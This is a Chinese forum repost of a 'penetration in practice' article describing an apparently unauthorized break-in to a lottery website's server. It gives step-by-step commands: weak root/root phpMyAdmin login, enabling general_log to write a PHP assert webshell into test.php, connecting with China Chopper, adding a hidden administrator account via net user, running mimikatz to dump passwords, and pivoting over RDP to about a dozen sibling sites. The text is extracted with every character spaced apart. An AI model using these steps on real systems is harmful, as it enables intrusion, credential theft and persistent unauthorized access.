搜索

[18032] 2021-08-05_【渗透实战系列】22-渗透系列之打击彩票站

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-05_【渗透实战系列】22-渗透系列之打击彩票站 【 渗 透 实 战 系 列 】 2 2 | - 渗 透 系 列 之 打 击 彩 票 站 H a c k i n g 黑 白 红   2 0 2 1 - 0 8 - 0 5 涉 及 知 识 点 ： B y ; 梭 哈 王 获 取 p h p m y a d m i n 弱 口 令 通 过 信 息 收 集 到 彩 票 站 点 的 i p 为 x x x ， 探 测 扫 描 发 现 存 在 p h p m y a d m i n ， 通 过 猜 测 ， 使 用 默 认 弱 口 令 ( r o o t / r o o t ) 登 入 到 p h p m y a d m i n 当 中 。   通 过 p h p m y a d m i n 后 台 s q l 查 询 写 入 s h e l l 到 日 志 文 件 使 用 p h p m y a d m i n 的 s q l 查 询 功 能 将 一 句 话 木 马 写 入 到 日 志 文 件 当 中 。 流 程 如 下 : 命 令 如 下 : 1 、 开 启 日 志 功 能 ： s e t   g l o b a l   g e n e r a l _ l o g = o n ; 2 、 点 击 p h p m y a d m i n 变 量 查 看 日 志 文 件 名 字 : p h p m y a d m i n 后 台 写 马 g e t s h l l m i m i k a t z 使 用 ， 抓 密 码 开 启 3 3 8 9 端 口 远 程 连 接 获 取 旁 站
这 里 的 日 志 文 件 是 t e s t . p h p 。 3 、 执 行 S Q L 命 令 写 入 一 句 话 到 日 志 文 件 :   S E L E C T ' < ? p h p   a s s e r t ( $ _ P O S T [ " t e s t " ] ) ; ? > ' ; 4 、 执 行 成 功 返 回 。 5 、 查 看 日 志 文 件 。 6 、 菜 刀 连 接 添 加 用 户 并 且 上 传 m i m i k a t z 。 使 用 菜 刀 连 接 日 志 文 件 木 马 ， x x x / t e s t . p h p   密 码 : t e s t
  查 看 发 现 是 系 统 管 理 员 s y s y t e m 权 限 ， 直 接 添 加 用 户 且 添 加 到 管 理 组 即 可 。 命 令 为 :   C : W i n d o w s s y s t e m 3 2 n e t . e x e   u s e r   T e s t   T e s t ! @ # 1 2 3   / a d d C : W i n d o w s s y s t e m 3 2 n e t . e x e     l o c a l g r o u p   a d m i n i s t r a t o r s   T e s t   / a d d 上 传 m i m i k a t a z 到 服 务 器 当 中 。 7 、 3 3 8 9 连 接 ， 读 取 管 理 员 密 码 。 （ 1 ） 、 直 接 t e l n e t   i p   3 3 8 9   测 试 发 现 可 通 ， 于 是 直 接 连 接 3 3 8 9 进 去 。 （ 2 ） 、 或 者 这 里 在 菜 刀 上 执 行 以 下 命 令 查 询 3 3 8 9 开 放 的 端 口 也 一 样 。 第 一 步 :   t a s k l i s t   / s v c   |   f i n d s t r   T e r m S e r v i c e   查 询 远 程 桌 面 服 务 的 进 程 第 二 步 :   n e t s t a t   - a n o   |   f i n d s t r   * * * *     / / 查 看 远 程 桌 面 服 务 进 程 号 对 应 的 端 口 号 。
（ 3 ） 、 执 行 m i m i k a t z ， 读 取 到 管 理 员 组 登 录 密 码 。 （ 4 ） 、 使 用 获 取 的 a d m i n i s t r a t o r / x x x x 账 户 密 码 远 程 登 入 服 务 器 当 中 。 发 现 该 服 务 器 使 用 p h p m y s t u d y 批 量 建 立 彩 票 站 ， 大 概 有 十 几 个 站 点 ， 随 意 访 问 几 个 服 务 器 上 的 网 站 域 名 ， 部 分 截 图 如 下 : 系 统 一 : 系 统 二 :
系 统 三 :   后 台 一 : 后 台 二 :  
— — — — — — — — — — — — — — — — 作 者 ： 安 全 小 哥 引 用 原 文 ： h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 3 9 9 9 7 8 2 9 / a r t i c l e / d e t a i l s / 1 0 9 1 8 6 9 1 7 推 荐 阅 读 ： 推 荐 阅 读 ： 渗 透 实 战 系 列 渗 透 实 战 系 列 ▶ 【 渗 透 实 战 系 列 】 2 1 | 一 次 理 财 杀 猪 盘 渗 透 测 试 案 例 ▶ 【 渗 透 实 战 系 列 】 2 0 | - 渗 透 直 播 网 站 ▶ 【 渗 透 实 战 系 列 】 1 9 | - 杀 猪 盘 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 1 8 - 手 动 拿 学 校 站 点   得 到 上 万 人 的 信 息 （ 漏 洞 已 提 交 ） ▶ 【 渗 透 实 战 系 列 】 | 1 7 - 巧 用 f o f a 对 目 标 网 站 进 行 g e t s h e l l ▶ 【 渗 透 实 战 系 列 】 ｜ 1 6 - 裸 聊 A P P 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 5 - 博 彩 网 站 （ A P P ） 渗 透 的 常 见 切 入 点 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 4 - 对 诈 骗 （ 杀 猪 盘 ） 网 站 的 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 3 - w a f 绕 过 拿 下 赌 博 网 站 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 2   - 渗 透 实 战 ，   被 骗 4 0 0 0 花 呗 背 后 的 骗 局 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 1   -   赌 博 站 人 人 得 而 诛 之 ▶ 【 渗 透 实 战 系 列 】 | 1 0   -   记 某 色 X 商 城 支 付 逻 辑 漏 洞 的 白 嫖 （ 修 改 价 格 提 交 订 单 ） ▶ 【 渗 透 实 战 系 列 】 | 9 - 对 境 外 网 站 开 展 的 一 次 w e b 渗 透 实 战 测 试 （ 非 常 详 细 ， 适 合 打 战 练 手 ） ▶ 【 渗 透 实 战 系 列 】 | 8 - 记 一 次 渗 透 测 试 从 X S S 到 G e t s h e l l 过 程 （ 详 细 到 无 语 ） ▶ 【 渗 透 实 战 系 列 】 | 7 - 记 一 次 理 财 杀 猪 盘 渗 透 测 试 案 例 ▶ 【 渗 透 实 战 系 列 】 | 6 -   B C 杀 猪 盘 渗 透 一 条 龙 ( 文 末 附 【 渗 透 实 战 系 列 】 其 他 文 章 链 接 ) ▶ 【 渗 透 实 战 系 列 】 | 5 - 记 一 次 内 衣 网 站 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 | 4 - 看 我 如 何 拿 下 B C 站 的 服 务 器 ▶ 【 渗 透 实 战 系 列 】 | 3 - 一 次 简 单 的 渗 透 ▶ 【 渗 透 实 战 系 列 】 | 2 - 记 一 次 后 门 爆 破 到 提 权 实 战 案 例 ▶ 【 渗 透 实 战 系 列 】 | 1 一 次 对 跨 境 赌 博 类 A P P 的 渗 透 实 战 （ g e t s h e l l 并 获 得 全 部 数 据 ）
长 按 长 按 - 识 别 识 别 - 关 注 关 注 H a c k i n g 黑 白 红 黑 白 红 一 个 专 注 信 息 安 全 技 术 的 学 习 平 台 点 分 享 点 分 享 点 收 藏 点 收 藏 点 点 赞 点 点 赞 点 在 看 点 在 看
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理